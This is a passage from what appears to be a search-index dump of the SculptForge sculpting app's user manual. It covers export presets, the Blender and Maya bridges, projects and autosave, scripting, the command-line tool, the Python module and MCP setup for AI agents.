ShininessExponent (roughness), ReflectionFactor (metallic), EmissiveColor and TransparencyFactor, as Blender reads them A texture without material channels exports exactly as before: just the colour."},{"p":"export-presets.html","c":"Export presets","a":"your-own-presets","h":"Your own presets","t":"A preset is a JSON file. Point export_maps preset= at it: { \"label\": \"Studio packed\", \"file\": \"{name}_{map}\", \"normal\": \"directx\", \"maps\": [ {\"map\": \"albedo\", \"channels\": [\"base_color.r\", \"base_color.g\", \"base_color.b\", \"opacity?\"]}, {\"map\": \"rma\", \"channels\": [\"roughness\", \"metallic\", \"ao\"]}, {\"map\": \"nrm\", \"channels\": [\"normal.r\", \"normal.g\", \"normal.b\"]}, {\"map\": \"disp\", \"channels\": [\"height\"], \"bits\": 16, \"optional\": true} ] } file: the file name pattern; {name} is the object name, {map} the map's name (required). .png is added. normal: opengl (green up, the default) or directx (green down). maps: 1 to 32 maps. Each has a map name (letters, digits, - and _) and 1 (grey), 3 (RGB) or 4 (RGBA) channels. A channel source is a channel name (roughness, metallic, ao, height, opacity), a component (base_color.r, normal.g, emissive.b), smoothness (1 - roughness), a constant (0, 1, 0.5) or 1- in front of any of them to invert it. A ? after a source drops that component when its channel isn't on (an RGBA map becomes RGB). optional: write the map only when one of its channels is on. bits: 8 (default) or 16. A preset with a mistake is refused with a message saying what is wrong."},{"p":"blender.html","c":"Working with Blender","a":"","h":"Working with Blender","t":"Keep Blender for the scene, rigging, shading and animation, and sculpt in SculptForge: the SculptForge Bridge add-on sends the selected objects from Blender to SculptForge with one click, and one click in SculptForge sends them back. The objects update in place in Blender: their transform, materials and modifiers stay as they were. It works through files in a shared folder, on Linux, Windows and macOS, with Blender 4.2 or newer."},{"p":"blender.html","c":"Working with Blender","a":"install-the-add-on","h":"Install the add-on","t":"Download sculptforge_bridge.zip from the latest release (or the SculptForge website). In Blender choose Edit > Preferences > Get Extensions, open the menu at the top right and choose Install from Disk..., then pick the zip. (You can also drag the zip into Blender's window.) The SculptForge tab appears in the 3D View's sidebar (press N). Send and Receive are also in the Object menu and in File > Import / Export. Start SculptForge once after installing it: it records where it is installed, so the add-on can start it for you. If the add-on still can't find it (for example an AppImage you keep somewhere unusual), set its path in the add-on's preferences (Edit > Preferences > Add-ons > SculptForge Bridge). Tip: Older Blender versions or a classic add-on install: sculptforge_bridge--legacy.zip installs through Edit > Preferences > Add-ons > Install from Disk. The add-on needs Blender 4.2 or newer either way."},{"p":"blender.html","c":"Working with Blender","a":"a-round-trip","h":"A round trip","t":"In Blender, select one or more mesh objects and click Send to SculptForge in the SculptForge tab. SculptForge starts, or, if it's already open, loads them within a second. Each object becomes a Part with the object's name, placed as it is in the Blender scene. Sculpt, paint, mask, divide, remesh: anything SculptForge does. In SculptForge choose File > Blender > Send to Blender. Every visible Part goes back. Blender picks it up by itself within a second (or click Receive from SculptForge). Each object that came from Blender is updated; a Part you added in SculptForge becomes a new object. Sending again from Blender updates the same Parts: each update is one undo step on that Part in SculptForge, and each receive in Blender is one undo step there. File > Blender in SculptForge"},{"p":"blender.html","c":"Working with Blender","a":"what-comes-across","h":"What comes across","t":" Blender SculptForge Shape The object's mesh, in its own space The Part, placed in the scene with the object's transform Faces Triangles and quads; n-gons as triangle fans Triangles and quads (Wire shows the quads) UVs The active UV map UVs Colour The active colour attribute (point or face corner) Vertex Paint Mask The sculpt mask Mask Face sets Sculpt mode face sets Face Groups Name Object name Part name Blender is Z-up and SculptForge Y-up, both in metres; the add-on and SculptForge convert between them, so the model stands the same way in both and a round trip changes nothing. Objects with a negative scale (mirrored) come across the right way out. When the topology doesn't change (you only sculpted, painted or masked), Blender's mesh keeps everything it had: its n-gons, edges, seams, creases, custom attributes and the other UV maps; only the positions, the active UV map, colour, mask and face sets are updated. When the topology changes (Divide, a remesh, Quad Remesh, Subdivide...), the object's mesh is rebuilt from what SculptForge sent. The object keeps its transform, materials, modifiers and the names of its active UV map and colour attribute; things tied to the old faces (material per face, seams, other UV maps, shape keys) can't follow and are reset."},{"p":"blender.html","c":"Working with Blender","a":"modifiers","h":"Modifiers","t":"The Modifiers setting in the SculptForge tab chooses what an object with modifiers sends: Keep live (the default): the mesh under the modifiers. They keep working in Blender on the sculpted mesh, for example a Mirror or a Subdivision Surface. Apply: what you see, with the modifiers applied. When it comes back, the mesh holds their result, so the add-on turns those modifiers off (they stay on the object, switched off, if you want them again)."},{"p":"blender.html","c":"Working with Blender","a":"settings","h":"Settings","t":"In the SculptForge tab: Receive automatically: after a send, load what SculptForge sends back as soon as it arrives (on by default). Off: click Receive from SculptForge yourself. In SculptForge's File > Blender: Receive automatically: load what Blender sends as soon as it arrives (on by default). The add-on's preferences add the path of SculptForge and the exchange folder (below)."},{"p":"blender.html","c":"Working with Blender","a":"classic-sculpting-keys-in-sculpt-mode","h":"Classic sculpting keys in Sculpt Mode","t":"Sculpting in Blender too? Turn on The Classic sculpting keys in Sculpt Mode in the add-on's preferences (Edit > Preferences > Add-ons > SculptForge Bridge) and Blender's Sculpt Mode answers to the Classic sculpting keys where Blender has the same thing. Turning it off removes them again, and Blender's own keys are back; so does disabling the add-on. The preferences list every key while it's on. Classic key In Blender's Sculpt Mode S / U / O Draw Size / Intensity (Strength) / Falloff (Hardness), dragged at the cursor Space Blender's Sculpt quick menu at the cursor (brush, size, strength) B The brush list by name (Standard, Sharp Crease, Clay, Clay Block, Move, Tendril...): type a few letters, Enter picks Alt+drag Sub: the brush digs in Ctrl+drag / Ctrl+Alt+drag Mask / unmask, drawn as a lasso Ctrl+Shift+drag / Ctrl+Shift+Alt+drag Show only what's inside / hide what's inside Ctrl+W Group the masked part as a face set and clear the mask (with nothing masked: the visible part) Ctrl+D / D / Shift+D Divide (a Multires level) / SDiv up / SDiv down (never adds a level) X Symmetry X Shift+F Wireframe (the wireframe overlay) F / P Frame the model / perspective on and off L Steady Stroke (Blender: Stabilize Stroke) W / E / R Move / Scale / Rotate Shift+drag Smooth (Blender already does this) brushes map to Blender's closest: Standard = Draw, Sharp Crease = Draw Sharp, Clay Block = Clay Strips, Move = Grab, Move Elastic = Elastic Grab, Plane Trim = Trim (Scrape in Blender 4.2), Crease = Crease Sharp, MaskPen = Mask. What Blender has no key for, or can't do: I (RGB Intensity): Blender's sculpt brushes don't paint. Ctrl+drag on the model doesn't paint the mask with a round brush: Blender can't switch to the Mask brush for one stroke, so it draws a mask lasso (pick the Mask brush with B to paint it). Dragging on the empty background doesn't rotate: a keymap can't tell the model from the background. Use the middle mouse button, or Blender's Emulate 3 Button Mouse. Ctrl+click on the background (invert or clear the mask) and Ctrl+Shift+click (show all): use Ctrl+I, Alt+M and Alt+H. B then two letters: a Blender menu takes one key at a time, so B opens the list and the letters filter it. Alt+click a Part: Blender's objects aren't Parts (Alt+Q switches the object you sculpt). Stroke types (Drag Stamp, Spray...): each Blender brush sets its stroke method in its Stroke panel. These keys take Blender's place while they're on: F no longer sets the radius (that's S), B no longer draws a box mask, Ctrl+drag no longer inverts the brush (that's Alt), and Space no longer plays the animation in Sculpt Mode."},{"p":"blender.html","c":"Working with Blender","a":"vector-displacement-maps","h":"Vector displacement maps","t":"SculptForge's VDM brushes and Blender's use the same maps (see Vector displacement brushes): From Blender: a map baked with Blender's VDM Brush Baker loads with Sculpt > Brush > Vector Displacement > Load VDM... as it is. To Blender: Export EXR... writes the VDM brush's map. In Blender, in Sculpt Mode with a Draw brush: in the brush's Texture panel add a new image texture and open the EXR (set its Color Space to Non-Color), set Mapping to Area Plane, turn on Vector Displacement, then set the stroke method to Anchored and Strength to 1. Drag on the model to stamp it."},{"p":"blender.html","c":"Working with Blender","a":"how-it-works","h":"How it works","t":"The two programs share a folder in your user data: ~/.local/share/SculptForge/SculptForge/blender on Linux, %APPDATA%\\SculptForge\\SculptForge\\blender on Windows, ~/Library/Application Support/SculptForge/SculptForge/blender on macOS. Each side writes its meshes there as Bridge files with a small list of the objects, and checks the other side's list once a second. Nothing goes over the network. To use another folder, set it in the add-on's preferences and start SculptForge with the environment variable SCULPTFORGE_BLENDER_EXCHANGE set to the same folder. From scripts and the MCP server: blender_send and blender_receive (both take folder=). Starting SculptForge with --blender loads what Blender last sent."},{"p":"blender.html","c":"Working with Blender","a":"limits-and-troubleshooting","h":"Limits and troubleshooting","t":"Blender as a Flatpak or Snap sees a different user data folder and may not be allowed to start other programs. Set the add-on's exchange folder to a folder both can reach, start SculptForge yourself with SCULPTFORGE_BLENDER_EXCHANGE set to it, and send. Linked duplicates (objects sharing one mesh) all show the last one received. Shape keys: the Basis and the keys named like SculptForge's layers are updated; other keys keep their shapes. Subdivision levels don't go to Blender: it receives the level you're on (like Bridge files). Sculpt layers arrive as shape keys (Basis plus one key per layer, with its name and weight), so the 52 facial shapes keep their ARKit names. Shape keys don't come back from Blender, and textures stay in SculptForge. Nothing arrives in SculptForge? Check File > Blender > Receive automatically, or choose Receive from Blender. Nothing arrives in Blender? Click Receive from SculptForge; automatic receiving starts after the first send from that Blender session. Objects in Edit Mode or Sculpt Mode are updated too: the add-on switches to Object Mode for the update and back."},{"p":"blender.html","c":"Working with Blender","a":"see-also","h":"See also","t":"Exporting, Unreal and Bridge: files, game engines and Bridge Parts: each Blender object is a Part Face Groups and visibility: Blender's face sets"},{"p":"maya.html","c":"Working with Maya","a":"","h":"Working with Maya","t":"Keep Maya for the scene, rigging and animation, and sculpt in SculptForge: the SculptForge shelf for Maya sends the selected meshes to SculptForge, and File > Maya > Send to Maya sends them back, replacing each Maya object's mesh by name. It works through files in a shared folder, on Linux, Windows and macOS. The two apps exchange files through one folder that you choose in both, and nothing else: SculptForge opens no ports or connections for this, reads and writes only inside that folder, and never runs anything it finds there. The bridge is off until you choose the folder."},{"p":"maya.html","c":"Working with Maya","a":"install-the-shelf-in-maya","h":"Install the shelf in Maya","t":"Download sculptforge_maya.zip from the latest release and unzip it. Copy sculptforge_maya.py into your Maya scripts folder: Documents\\maya\\scripts\\ on Windows, ~/Library/Preferences/Autodesk/maya/scripts/ on macOS, ~/maya/scripts/ on Linux. In Maya open the Script Editor, and in a Python tab run import sculptforge_maya and then sculptforge_maya.install_shelf(). A SculptForge shelf appears with Send, Get and Folder. The script uses plain maya.cmds and Maya's own OBJ exporter; it needs Maya 2022 or newer."},{"p":"maya.html","c":"Working with Maya","a":"choose-the-exchange-folder","h":"Choose the exchange folder","t":"In SculptForge choose File > Maya > Exchange folder... and pick a folder of your own, for example an empty Documents/SculptForge Maya. In Maya click Folder on the SculptForge shelf and pick the same folder. File > Maya shows the folder; Turn the Maya bridge off forgets it (nothing in it is deleted)."},{"p":"maya.html","c":"Working with Maya","a":"a-round-trip","h":"A round trip","t":"In Maya select one or more meshes and click Send on the SculptForge shelf. In SculptForge choose File > Maya > Get from Maya. Each mesh becomes a Part with its Maya name; a Part with that name already there is replaced (one undo step on that Part). Sculpt, paint, divide, remesh: anything SculptForge does. Choose File > Maya > Send to Maya. Every visible Part goes. In Maya click Get. Each object that came from Maya gets the new mesh and keeps its transform, parent and shading groups; a Part you added in SculptForge becomes a new object. The whole Get is one undo step in Maya. Get automatically (in File > Maya, off by default) loads what Maya sends as soon as it arrives: SculptForge checks the folder's manifest once a second."},{"p":"maya.html","c":"Working with Maya","a":"what-comes-across","h":"What comes across","t":" Maya SculptForge Shape The mesh, in world space The Part, as placed in Maya's scene Faces Quads and triangles; n-gons as triangles Triangles and quads (Wire shows the quads) UVs The current UV set UVs Name The transform's name Part name Units Maya's linear unit (cm by default) Taken as they are: 1 cm in Maya is 1 unit here Face Groups, the mask and vertex paint stay in SculptForge. Normals, creases, construction history, deformers and skinning stay in Maya: Get replaces the mesh shape, so send a copy of a skinned or deformed mesh. A Part named \"Body Hi\" arrives in Maya as Body_Hi (Maya names allow letters, digits and _), and comes back to the same Part."},{"p":"maya.html","c":"Working with Maya","a":"the-exchange-folder","h":"The exchange folder","t":"<folder>/maya_to_sculptforge/manifest.json + r<revision>_<k>.obj written by Maya <folder>/sculptforge_to_maya/manifest.json + r<revision>_<k>.obj written by SculptForge Each manifest is a small JSON file: {\"format\": \"sculptforge-maya\", \"version\": 1, \"revision\": 3, \"sender\": \"maya\", \"unit\": \"cm\", \"objects\": [{\"name\": \"pCube1\", \"file\": \"r3_000.obj\"}]}. Both sides check it strictly before reading anything: at most 256 KiB and 256 objects, every field of the right type, and each file must be a plain .obj name in the manifest's own folder (no folders, no .., no absolute paths, no links). Each send removes the files of the previous one; anything else in the folder is left alone. The commands are maya_send folder= and maya_receive folder= (see Scripting and automation)."},{"p":"maya.html","c":"Working with Maya","a":"troubleshooting","h":"Troubleshooting","t":"\"Nothing has been sent from Maya yet\": check that both apps use the same folder (open File > Maya in SculptForge; click Folder in Maya to see or change it). Get in Maya says nothing has been sent: choose File > Maya > Send to Maya in SculptForge first. A mesh came in as a new object instead of replacing one: Get matches the transform's name; renaming the object in Maya or the Part's Maya name breaks the link."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"","h":"Projects, autosave and snapshots","t":"A SculptForge project (.sfproj) saves your whole scene in one file, so you can close the app and carry on exactly where you stopped. This chapter covers saving and opening projects, the unsaved-changes prompt, recent files, autosave and crash recovery, snapshots, and the Library tabs that show your work."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"what-a-project-keeps","h":"What a project keeps","t":"A .sfproj file holds everything SculptForge knows about the scene: every Part, with its name, visibility, mesh, mask, vertex paint, face groups, hidden faces and UVs; every sculpt layer with its weight, and the active layer of each Part; each Part's Quad Remesh Guides, the curves Quad Remesh's edge loops follow; loaded Gaussian splats and their placement; your custom brushes, so a project opened on another computer still has them; the camera, the material and display settings, the brush, Draw Size, Intensity (and Smooth's), RGB Intensity, Falloff, paint colour and symmetry; a thumbnail, shown in the Library. Undo history isn't saved: an opened project starts with a clean history. Model formats such as OBJ, GLB or FBX can't hold all of this (masks, hidden faces, splats, brushes), so writing them is an export, not a save. See Exporting."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"save-a-project","h":"Save a project","t":"File > Save (Ctrl+S) saves to the current project. The first time, it asks for a file name. File > Save As... (Ctrl+Shift+S) saves under a new name. In the Classic layout, clicking the document name in the title strip also saves. The bar along the top shows the file name with * after it while there are unsaved changes, and the window title starts with *. Any edit in any Part counts, as do splat edits and layer weight changes. If you opened a model file (an OBJ, say) rather than a project, Save asks where to save a new .sfproj; the original model file is left alone."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"open-a-project-or-model","h":"Open a project or model","t":"File > Open... (Ctrl+O) opens a project, a model or a splat capture. Opening a project or model replaces the scene. File > Open Recent lists the last 10 files you opened or saved. Files that no longer exist are dropped from the list. Clear Recent empties it. Drop a file onto the window to open it. In the Library, double-click a project or model. File > New Sphere (Ctrl+N) and File > New Plane start a fresh scene. When you open a project, its saved camera, material and brush settings come back too."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"start-from-a-starter-mesh","h":"Start from a starter mesh","t":"Instead of a sphere, start from a base mesh with clean, even quads: File > New from Starter Mesh lists them, the Library's Tool tab has a Starter meshes folder with a thumbnail of each, and the welcome's Start from a head opens the human head straight away. Starter mesh What it is Human Head A neutral head and neck with loops round the eyes and mouth, for portraits Bust Head, neck, shoulders and upper chest Full Body A human figure in A-pose, 167 cm tall Hand, Foot, Ear A left hand (raised, palm to the front), a left foot and ankle, a left ear Eye An eyeball 24 mm across, with the cornea and rings of quads round the pupil Stylised Head A cartoon head: big cranium and eyes, small nose and jaw Creature Head A dragon or creature blockout: skull, jaw and two horns, each its own Part Torso A human torso from the neck to the upper thighs Rounded Box, Cylinder, Capsule, Ring Hard-surface primitives with bevelled edges and quad caps Every starter mesh is life size in centimetres, centred, standing on the ground and looking down +Z, and the symmetric ones are exactly symmetric, so X symmetry works from the first stroke. The Hand, Foot, Ear, Head, Bust and Torso are cut from a body, so they have open edges where they were cut. A starter mesh opens with subdivision levels (two, or one for the Full Body): block out the big forms at SDiv 1, the base cage, and step up for the detail (see Geometry). It opens as a new, unsaved scene: Save asks for a name. Double-click a tile to open it; Shift+double-click appends its base cage as a Part, for example an Eye next to a head. The human meshes come from the MakeHuman base mesh, which MakeHuman released into the public domain (CC0); the others are made by SculptForge's own build script. You may use them for anything, including commercial work."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"the-unsaved-changes-prompt","h":"The unsaved-changes prompt","t":"When the scene has unsaved changes, New Sphere, New Plane, Open..., Open Recent, dropping a model or project, Quit (Ctrl+Q) and closing the window first ask: Save saves the project (asking for a name if it has none), then carries on; Don't Save discards the changes and carries on; Cancel goes back to your work. Dropping an image or a .sfbrush file never asks, because it doesn't replace the scene."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"autosave-and-crash-recovery","h":"Autosave and crash recovery","t":"While the scene has unsaved changes, SculptForge writes a recovery copy every few minutes (every 5 minutes by default; it waits until you finish a stroke). Change the interval, or turn it off with 0, in Edit > Preferences > Autosave or with the Autosave (min) slider in the File palette (0 to 60 minutes). The recovery copy is autosave.sfproj in the SculptForge settings folder (see Troubleshooting for where that is on your system). It is deleted once your work is saved or you discard the changes. If SculptForge didn't close normally (a crash or power cut), the next start asks Restore Autosave?: Restore opens the autosaved scene as an untitled, unsaved document. Save it to keep it. Discard deletes the recovery copy. The autosave also appears first in the Library Snapshots tab while it exists. Note: Autosave is a safety net, not a substitute for saving. It keeps only the latest copy and is removed as soon as you save."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"snapshots","h":"Snapshots","t":"File > Save Snapshot (also the Snapshot button in the Classic layout's title strip) saves a timestamped copy of the whole scene (experienced sculptors: QuickSave). Your project file, its name and its unsaved state are not changed, so a snapshot is safe to take before any risky step. Copies go to the QuickSave folder of your library (by default Documents/SculptForge/QuickSave), named like Snapshot 2026-10-21 23-15-04.sfproj (older QuickSave ... files are listed too). The last 10 snapshots are kept; older ones are deleted. They appear in the Library Snapshots tab, newest first, labelled with their date and time. Double-click one to open it. The tab also has a Save now button. With the Classic sculpting keys (Edit > Preferences > Input) 9 takes a snapshot; otherwise it has no default shortcut. To give it one, hold Ctrl+Alt, click the Snapshot button and press a key (see The interface)."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"your-library-folder-and-the-library","h":"Your library folder and the Library","t":"SculptForge keeps a library folder for your work, by default SculptForge in your Documents folder. It is created on first use with these sub-folders: Folder Library tab What goes there Projects Project Your .sfproj files Tools Tool Models to open or append as Parts Brushes Brush .sfbrush files Alphas Alpha Grayscale images for brush alphas LitSpheres Material Lit Sphere images, loaded as materials at start-up Images Image Sketches and concept art for Generate 3D Splats Splats Gaussian splat captures QuickSave Snapshots Snapshots Change it in Edit > Preferences > Library > Library folder, then Store Config (Ctrl+Shift+I) to keep the setting. Press , (comma) to show the Library. The tabs that matter for projects: Project: the projects in your Projects folder, plus any recent project saved elsewhere. Each shows the thumbnail saved with it. Snapshots: the autosave (when there is one) and your snapshots, newest first. Recent: everything in Open Recent, of every kind. Double-click a tile to open it (you are asked about unsaved changes first). In the Tool tab, Shift+double-click a model to append it as a Part instead. The Library showing project thumbnails"},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"scripting","h":"Scripting","t":"Command What it does save_project path=work/dragon.sfproj Save the project (without path, to the current project) open_project path=work/dragon.sfproj Open a project (open also recognises .sfproj) open path=scan.obj Open a model, splat capture or project new_sphere subdivisions=6 / new_plane resolution=128 Start a new scene new_starter_mesh name=human-head Start from a starter mesh (levels=0 for the bare base cage) Projects saved by sculptforge-cli or Python open in the app too. For the file layout, see docs/project-format.md."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"see-also","h":"See also","t":"The interface: Library, shortcuts and Store Config Parts Exporting: formats for other applications Troubleshooting: where settings and the autosave live"},{"p":"scripting.html","c":"Scripting and automation","a":"","h":"Scripting and automation","t":"Every operation in SculptForge is a named command with parameters. The same commands run from the console inside the app, from script files, from the sculptforge-cli tool on a build farm, from Python, and from AI agents through the Model Context Protocol (MCP). This chapter explains the script language, the console, both command-line programs, the Python module and MCP setup."},{"p":"scripting.html","c":"Scripting and automation","a":"the-script-language","h":"The script language","t":"A script is a list of statements. Each statement is a command name followed by name=value parameters: new_sphere subdivisions=5 subdivide levels=1 remesh resolution=256; decimate ratio=0.5 # two statements on one line export_glb path=\"My Sculpts/bust.glb\" The rules: Statements are separated by new lines or by ;. # starts a comment that runs to the end of the line (outside quotes). Parameters are name=value with no spaces around =. true and false are booleans; numbers are numbers; anything else is text. Put text in double quotes when it contains spaces, ;, # or \", or when it must stay text even though it looks like a number. Inside quotes only \\\" and \\\\ are escapes, so Windows paths such as \"C:\\Users\\me\\head.obj\" work as written. Colours with a # must be quoted: set_color color=\"#d9a07a\". Paths are UTF-8. Relative paths are relative to the current folder of the program running the script. Scripts stop at the first command that fails."},{"p":"scripting.html","c":"Scripting and automation","a":"the-console","h":"The console","t":"Press the backtick key (left of 1), or choose File > Script > Console, to open the console strip above the bottom shelf. Drag its top edge to resize it. The console showing commands run from the interface and typed by hand Every command you run appears in the console as a script line, whether it came from a button, a shortcut, the command palette or the console itself, followed by its result. Failures show in red with the reason. Type a statement and press Enter to run it. Several statements separated by ; run in order and stop at the first failure. Tab completes command names, then parameter names. Press Tab again to list the candidates. Up and Down walk through the last 200 lines you typed. The history is kept between sessions. help (or ?) lists every command; help remesh explains one command and its parameters. clear empties the log. The console buttons (also in File > Script): Button What it does Run script file... Runs a text file of statements (.sfscript or .txt), stopping at the first failure Copy session as script Puts every command run this session on the clipboard as a script you can save and run again Clear console Empties the log. The session script is kept Tip: To record a macro, work normally, then click Copy session as script, paste it into a text file and edit out what you don't need. Run it later with Run script file... or sculptforge-cli -f."},{"p":"scripting.html","c":"Scripting and automation","a":"the-command-palette","h":"The command palette","t":"Press F3 (or Ctrl+Shift+P, or click Search at the top right of the window) to search every command, brush and setting by name. Enter runs the highlighted entry; Shift+Enter opens it in the console so you can add parameters first. Commands that need parameters always open in the console. With an empty search, the palette lists what you used recently. See The interface. The command palette searching for a command Tip: Hold Ctrl+Alt and point at a button to see the scripting parameters of the command behind it."},{"p":"scripting.html","c":"Scripting and automation","a":"commonly-used-commands","h":"Commonly used commands","t":"sculptforge-cli --list (or help in the console) prints every command with all its parameters. These are the ones you will use most: Area Command Key parameters Scene new_sphere subdivisions (0 to 8, default 6) Scene new_plane resolution (cells per side, default 128) Files open path: models, projects, splats, Bridge files Files save_project path (default: the current project) Files open_project path Geometry subdivide levels (1 to 4, default 1) Geometry remesh resolution (32 to 512, default 200) Geometry decimate ratio (default 0.5) or triangles Geometry qremesh target (default 5000), adaptive, keep_groups, detect_edges, use_vertexpaint, symmetry, keep_original Parts project_all distance (default 0.02), mean, blur, geometry, vertexpaint, source Geometry mesh_info Sculpting stroke points (required), brush, radius, strength, invert, symmetry, radial, radial_axis, local Brushes brush_set_alpha name (round, square, noise) or path, invert Brushes brush_ai prompt (required), provider, model, endpoint Brushes brush_install path, code or json Brushes brush_save path (required), name Layers layer_add name Layers layer_set_weight index, weight (both required) Masking mask_by_cavity strength, threshold Masking mask_invert, mask_clear, mask_blur, mask_grow iterations where it applies Face Groups facegroup_auto_by_normals angle (default 30) Visibility isolate_facegroup, hide_facegroup group (required) Visibility show_all, delete_hidden Transform transform translate, rotate, scale, pivot, orient, masked, falloff, symmetry, all (Gizmo) Parts part_append type (sphere, cube, plane) or path, name, size Parts part_select index or name Vertex Paint set_color, paint_fill color, area (unmasked, masked, all) Vertex Paint paint_from_cavity color, strength, smoothing AI image_to_3d path (required), service, model, remesh, resolution AI text_to_3d prompt (required), service, model Export export_glb, export_usd, export_stl, export_ply path (required); export_stl also height_mm, scale, z_up Export export_fbx path (required), lods, ratio, scale Export export_lods path (required), levels, ratio Unreal unreal_send destination, height_cm, lods, network Splats splat_to_mesh (Make sculptable) detail, preset, color, crop, face_guides, stage Splats face_guides landmarks, front, up, target Edit undo, redo A few commands exist only inside the app, because they change the view rather than the model: set_material (name= a Lit Sphere such as Sculpt, or Studio) and new_cube."},{"p":"scripting.html","c":"Scripting and automation","a":"sculptforge-cli","h":"sculptforge-cli","t":"sculptforge-cli runs commands without a window: on a server, a render farm node or in a build pipeline. It keeps one scene for the whole run, loads your brush library (and studio brushes), and uses the same ai.json settings as the app. sculptforge-cli [options] -c, --command \"<script>\" Run commands, separated by ';' (can be given several times) -f, --file <script.txt> Run commands from a file ('-' reads standard input) --set NAME=VALUE Define a variable; script values written $NAME are replaced -l, --list List every command and its parameters --schema Print the commands as LLM tool definitions (JSON) --mcp Run as an MCP server on standard input and output -q, --quiet Only print errors -h, --help Show this help Each command prints its result on one line (export_glb: Exported out/rock.glb). The exit status is 0 when everything succeeded, 1 for a usage or script syntax error, and 2 when a command failed (the error names the line and the command). Variables make one script reusable. A value written $NAME (the whole value) is replaced with the --set value, so paths with spaces stay intact: cat > lods.sfscript <<'EOF' open path=$in remesh resolution=256 export_lods path=$out levels=4 ratio=0.5 EOF for f in rocks/*.obj; do sculptforge-cli --set in=\"$f\" --set out=\"lods/$(basename \"$f\" .obj).glb\" -f lods.sfscript done More examples: # Concept art -> sculptable model -> USDZ (free, via Hugging Face) sculptforge-cli -c 'image_to_3d path=hero.png; export_usd path=hero.usdz' # Design a brush (free, no key) and save it for the team sculptforge-cli -c 'brush_ai prompt=\"weathered stone edges\"; brush_save path=stone.sfbrush' # Cavity dirt on a sculpt, then a coloured PLY sculptforge-cli -c 'open path=bust.sfproj; paint_from_cavity color=\"#3a2a20\" strength=0.8; export_ply path=bust.ply' Warning: Without the quotes, #3a2a20 would start a comment. In a shell, put the whole script in single quotes so the double quotes reach SculptForge."},{"p":"scripting.html","c":"Scripting and automation","a":"the-sculptforge-app-on-the-command-line","h":"The SculptForge app on the command line","t":"The desktop app takes a few options too, for renders and start-up scripts: Option What it does sculptforge FILE Opens a model, project, splat capture or image at start-up --run \"\" Runs commands at start-up --render out.png Renders the scene to an image and exits --turntable N With --render: N frames around the model (out_000.png ...) --size WxH Render size (default 1024x1024) --view YAW,PITCH Camera angles in degrees (default -30,-15) --zoom F Move the camera F times closer than the framed view --wireframe, --facegroups Render with the wireframe or face group colours --hide-mesh Render only the Gaussian splats --fullscreen Start filling the screen (F11 toggles) --demo NAME, --record out.mp4 Play a scripted demo, and record it to a video (needs ffmpeg) --ui-test FILE.sfui, --ui-out DIR Run an interface test script (for developers) A review sheet for a model, eight frames around it: sculptforge model.glb --render review/model.png --turntable 8 --size 1024x1024 Rendering needs an OpenGL 3.3 capable GPU or software renderer and a display. On a headless Linux node, run it under a virtual display such as Xvfb (xvfb-run sculptforge ...)."},{"p":"scripting.html","c":"Scripting and automation","a":"python","h":"Python","t":"SculptForge has a Python module, sculptforge, with the same commands plus NumPy access to the mesh. It is included in the VFX Reference Platform builds and the Rez package (see For studios); when building from source, configure CMake with -DSCULPTFORGE_BUILD_PYTHON=ON. import sculptforge as sf doc = sf.Document() # loads your brush library, like the app sf.run(doc, \"open\", path=\"/show/troll/troll_base.fbx\") sf.run(doc, \"remesh\", resolution=320) sf.run_script(doc, \"decimate ratio=0.25; export_lods path=/out/troll.glb levels=4\") verts, tris = doc.vertices, doc.triangles # NumPy (N, 3) float32 and (M, 3) uint32 doc.set_mesh(verts * 1.1, tris) # bring in a mesh from your own tools (clears undo) print(doc.parts) # [{'name': ..., 'visible': ..., 'triangles': ...}] doc.active_part = \"Helmet\" # select by index or name for name, weight in doc.layers: # sculpt layers (blend shapes) print(name, weight) print([c[\"name\"] for c in sf.commands()]) # every command with its parameters Function or property What it does sf.run(doc, command, **params) Runs one command and returns its message sf.run_script(doc, script) Runs a script in the syntax above and returns the messages sf.commands() Lists every command with its parameters sf.tool_schema() The commands as LLM tool definitions (JSON) doc.vertices, doc.base_vertices, doc.normals, doc.triangles Mesh arrays of the active Part (copies) doc.mask, doc.colors, doc.facegroups, doc.hidden Attribute arrays you can read and assign (None if absent) doc.layers, doc.layer_delta(i) Sculpt layers as (name, weight) and their per-vertex offsets doc.parts, doc.active_part The Parts list and the active Part doc.splat_count Number of loaded Gaussian splats Failures raise sculptforge.CommandError. Long operations release the GIL, so you can run them on worker threads."},{"p":"scripting.html","c":"Scripting and automation","a":"ai-agents-mcp","h":"AI agents (MCP)","t":"sculptforge-cli --mcp runs SculptForge as an MCP server. An AI agent (Claude Code, Claude Desktop or any MCP client) gets every command as a tool and works on one scene for the session: it can open files, generate models, sculpt strokes, remesh, paint and export. Claude Code: claude mcp add sculptforge -- /path/to/sculptforge-cli --mcp Claude Desktop or another client: add a stdio server whose command is the full path to sculptforge-cli and whose argument is --mcp. For Claude Desktop that is an entry in its configuration file like this: { \"mcpServers\": { \"sculptforge\": { \"command\": \"/path/to/sculptforge-cli\", \"args\": [\"--mcp\"] } } } Then ask for something like \"make a sphere, remesh it at 128 and export it to ~/Desktop/ball.glb\". File paths are on your machine. The agent works headless; to see the result, open the exported file in SculptForge. sculptforge-cli --schema prints the same tool definitions as JSON, for wiring SculptForge into your own agent."},{"p":"scripting.html","c":"Scripting and automation","a":"see-also","h":"See also","t":"The interface: the command palette and Ctrl-hover help For studios: Rez, the VFX builds and farm rendering Image and text to 3D and Exporting: the commands in context Keyboard and mouse reference"},{"p":"packs-and-macros.html","c":"Packs and macros","a":"","h":"Packs and macros","t":"A pack is one file (.sfpack) that brings brushes, alphas, Lit Spheres, Material Recipes, VDM brushes, keymaps, pie menus and macros at once. A macro is a list of SculptForge commands you can run with one click, one key or one pie-menu slot. Both are plain data: SculptForge never runs code from a pack or a macro."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"install-a-pack","h":"Install a pack","t":"Use File > Install Pack..., drop a .sfpack file on the window, or click Install Pack... in Library > Packs. Nothing is installed yet: a review shows exactly what is inside first. The review shows Name, version and author As the pack's maker wrote them. Member pack marks the monthly pack or an Insider drop. License The license name, and the license text from the pack on the 